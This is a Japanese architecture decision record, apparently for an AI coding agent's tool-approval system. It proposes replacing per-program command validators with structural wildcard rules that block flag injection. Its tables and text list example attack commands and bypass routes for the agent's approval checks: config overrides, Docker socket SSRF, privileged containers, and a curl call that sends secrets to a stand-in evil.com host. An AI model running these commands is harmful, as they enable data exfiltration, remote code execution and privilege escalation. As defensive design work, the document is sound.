ツール承認アーキテクチャ: 構造に基づく安全策とバリデーターの廃止
| Status | Authors | Coach | DRIs | Owning Stage | Created |
|---|---|---|---|---|---|
| proposed | dbernardi | devops ai_powered | 2026-06-26 |
エグゼクティブサマリー
現在のプログラムごとのコマンドバリデーター(GitValidator、NpmValidator など)は、*「Gateway が生成したこのパターンを安全に提案できるか?」*という 1 つの問いに答えるために存在します。この問いには、プログラムごとの許可リストと危険なフラグの拒否リストが必要です。安全性を保つには列挙内容を完全に維持する必要がありますが、セキュリティレビューですでに不完全さが明らかになっています。
このドキュメントでは、構造に基づく、プログラムに依存しない代替手段を定義します。パターンマッチングエンジン(CommandPatternMatcher)の 2 つの特性により、フラグを 1 つも列挙せず、すべてのプログラムに等しく、フラグインジェクションという種類の攻撃を防ぎます。ADR-008 は、この安全策を基盤に自動モードを構築します。このドキュメントでは安全策自体の根拠を示し、それが置き換えるバリデーターを廃止します。
1. 問題の定義
ee/app/models/ai/duo_workflows/command_validators/ 内の現在のアーキテクチャは、各プログラムに固有のバリデーターサブクラスを設けるテンプレートメソッドパターンを使用します。
Ai::DuoWorkflows::CommandValidators::Base
|-- GitValidator (33 allowed subcommands, 8 global options, 16 dangerous flags)
|-- NpmValidator (11 allowed subcommands, 7 dangerous flags)
|-- DockerValidator (12 allowed subcommands, 12 dangerous flags)
|-- BundleValidator (9 allowed subcommands, 6 dangerous flags)
|-- MakeValidator (NOT registered — no safe subset)
|-- CurlValidator (NOT registered — no safe subset)
MR !240933 に対する AppSec のセキュリティレビューでは、初期実装に 5 つの回避経路が見つかりました。make -e=VALUE(DANGEROUS_FLAG_PREFIXES からの欠落)、curl --unix-socket(Docker ソケットへの SSRF。両方のリストから欠落)、docker --network=container:<id>(namespace 共有による回避。ブロックされていたのは --network=host のみ)、curl --next(無害なリクエストと危険なリクエストを連鎖させるオプションリセットによる回避)、そして定数の名前変更後もエントリが残ったかどうかを不明瞭にしたフラグ名変更によるリグレッションです。
どれも、人による管理で攻撃経路を見落としたケースです。拒否リスト方式には、すべてのプログラムのフラグについて、完全かつ継続的に更新される知識が必要です。その知識は、プログラムのリリースのたびに変わります。
バリデーターが存在するのは、Gateway が以前はパターン候補を自動生成しており、「このパターンを提示しても安全か?」に答える仕組みが必要だったためです。パターン候補の提示を削除した後は(ADR-008 §2.3 を参照)、この問いに同じ方法で答える必要はなくなります。パターンは、自らの意図を宣言するユーザー/管理者が作成するか、一元的に作成されたデフォルトポリシーから生成します(ローカルポリシーフックの初期内容として提供され、顧客が上書きできます。ADR-008 §2.1 を参照)。残る問いは、*「どのように作成されたパターンであっても、フラグインジェクションによって悪用される可能性があるか?」*という、より限定されたものです。これは、特定のプログラムについて何も知らなくても、パターンマッチングエンジン自体が構造によって答えられる問いです。
2. 構造に基づく安全性の分析
2.1 * が一致できないもの
CommandPatternMatcher のワイルドカード * は、- で始まらないトークンちょうど 1 つに一致します(ただし、オプションの終了を示す区切り -- より後を除きます)。この 1 つの制約が、AppSec レビューで見つかったすべての回避経路を防ぎます。
| 攻撃経路 | パターン | コマンド | ブロックされるか? | 理由 |
|---|---|---|---|---|
| フラグインジェクション | npm install * | npm install --prefix /tmp | はい | --prefix は - で始まる |
| 設定の上書き | git checkout * | git -c core.sshCommand=evil checkout main | はい | -c は checkout の後にある * と一致しない |
| ページャーによる RCE | git log * | git log --open-files-in-pager=evil | はい | - で始まる |
| ネットワークのリダイレクト | curl * | curl --unix-socket /var/run/docker.sock | はい | - で始まる |
| オプションのリセット | curl * | curl --next --unix-socket ... | はい | - で始まる |
| 権限昇格 | docker run * | docker run --privileged nginx | はい | - で始まる |
| 環境の上書き | make * | make -e SHELL=/bin/evil | はい | - で始まる |
プログラムごとの知識は不要です。このルールは --unix-socket が何をするかを知る必要はなく、フラグの形をしていることが分かれば十分です。
2.2 * では検出できないもの: 位置引数のリスク
この制約は、位置引数によるリスクを防ぎません。たとえば、npm install evil-package(ライフサイクルスクリプトによる RCE)、docker build https://evil.com/Dockerfile(リモートビルド)、curl https://evil.com/exfil?data=secrets(情報流出)、make SHELL=/bin/evil(位置引数の VAR=value 構文。- で始まらないため除外されません)です。
これは見落としではなく、明示的に受け入れたトレードオフです。ユーザーであれ一元的に作成されたデフォルトポリシーであれ、パターンの作成者はプログラムに関する独自の信頼判断を宣言しているのであり、そのプログラムに与え得るあらゆる引数を保証しているわけではありません。これは、Gateway がパターンを推奨し、推奨者に代わってそれを検証する仕組みが必要だった以前のモデルとは、大きく異なる信頼モデルです。
2.3 ** の禁止
** はフラグを含む 0 個以上のトークンに一致するため、この安全策を完全に無効にします(npm ** は npm install --prefix /tmp/evil --script-shell /bin/sh malware に一致します)。対話型の承認、設定ファイル、今後のガバナンス引数パターンなど、パターンを書けるすべての場所で禁止し、オプトアウトは認めません。これは、ガバナンス管理者を含め、このシステムの誰も上書きできない唯一の制約です。
既知の回避経路はありません。 この 2 つの特性(§2.1、§2.3)は、特定の CLI ツールについて列挙した知識ではなく、パターン構文自体の特性であるため、プログラムごとの保守は一切不要です。
3. バリデーターの廃止手順
3.1 現在の役割
バリデーター(GitValidator、NpmValidator など)は、Gateway が生成するパターン候補を制限する役割を果たし、サブコマンドの許可リストとフラグの拒否リストによって、*「このプログラムに対して、このパターンは安全か?」*に答えます。
3.2 不要になる理由
Gateway が生成するパターンがなくなれば、この問いには代わりに 3 つの要素が連携して答えます。構造的な制約(§2)がフラグインジェクションを一律に防ぎ、ガバナンス(ADR-007)により、どのようなパターンが書かれていても組織が安全でないと考えるツールを拒否でき、パターンの作成者(ユーザー、または一元的に作成されたデフォルトポリシー)は候補をそのまま承認するのではなく、自ら判断します。バリデーターのプログラムごとの知識(どのサブコマンドが安全で、どのフラグが危険か)は、構造的な安全性と明示的な作成責任に置き換わります。別の場所で新たに列挙作業を行うわけではありません。
3.3 移行
| フェーズ | 対応 |
|---|---|
| Phase 1(現在) | 構造に基づく安全策を提供します。バリデーターは多層防御として引き続き有効にします。 |
| Phase 2 | Gateway のパターン候補提示を削除します(ADR-008)。後方互換性のため、バリデーターは引き続き対話型のパターン承認を制限します。 |
| Phase 3 | 承認 UI から対話型のパターン候補提示を完全に削除します。バリデーターはクリティカルパスから外れるため、非推奨とします。 |
| Phase 4 | バリデータークラス、CommandValidators::Registry、関連する spec を削除します。パターンの安全性は、構造とガバナンスだけで確保します。 |
移行中、バリデーターが害を及ぼすことはありません。パターン候補がなくなると冗長になるだけです。Phase 4 は、担当者が削除によって保護範囲が失われないことを確認するまで進めてはいけません(たとえば Phase 2/3 で、バリデーターが検出したものと構造だけで検出したものを比較します)。
4. バリデーターモデルとの比較
| セキュリティ特性 | バリデーターモデル | 構造モデル |
|---|---|---|
| フラグインジェクションの防止 | プログラムごとの拒否リスト(不完全で、保守が必要) | 構造による防止: * はフラグに一致できない(完全で、保守不要) |
| 位置引数のリスク | プログラムごとの許可リスト(危険なサブコマンドをブロック) | パターン作成者自身の判断の範囲で受け入れるトレードオフ |
| 未知のプログラム | フェイルクローズ(パターン承認なし) | フェイルクローズ(一致なし → 確認を表示) |
| 回避のリスク | 高い。1 回のレビューで 5 つの回避経路を発見 | 低い。見落とし得るプログラムごとの例外的なケースがない |
| 保守負担 | 継続的で上限がない(新しいプログラム、新しいフラグ) | ほぼゼロで、CLI の機能範囲ではなくパターン構文によって限定される |
| 対象範囲 | 数百のプログラムのうち 4 つ | すべてのプログラムに等しく適用 |
位置引数のトレードオフ(§2.2)は、バリデーターモデルのほうが構造的に安全だった唯一の点です。危険なサブコマンド全体を無条件に拒否できたためです。正しさを維持するためにプログラムごとの際限のない保守を必要としないモデルを得るため、この保護は意図的に手放します。ツールレベルでその制限を再導入したい組織には、ガバナンスが引き続き最後の防御策となります。
5. 既存 ADR との関係
| ADR | 関係 |
|---|---|
| 006 — ツール承認 | 基盤。 CommandPatternMatcher とパターンベースのセッション承認は、このドキュメントが分析する基盤です。ここでは変更を提案しません。 |
| 007 — AI ガバナンス | 組み合わせて使用。 バリデーターの状態にかかわらず、ガバナンスはツール名レベルの組織的な上限であり続け、バリデーターの廃止による影響は受けません。 |
| 008 — 自動モードの段階的な展開 | このドキュメントに依存。 ADR-008 のデフォルトポリシーと Gateway の候補提示の削除は、どちらも、誰がパターンを作成しても構造に基づく安全策(§2)が機能することに依存します。このドキュメントのバリデーター廃止手順(§3)は、ADR-008 の展開によって最終的に安全に完了できるようになる整理作業です。 |
a1f3c26a)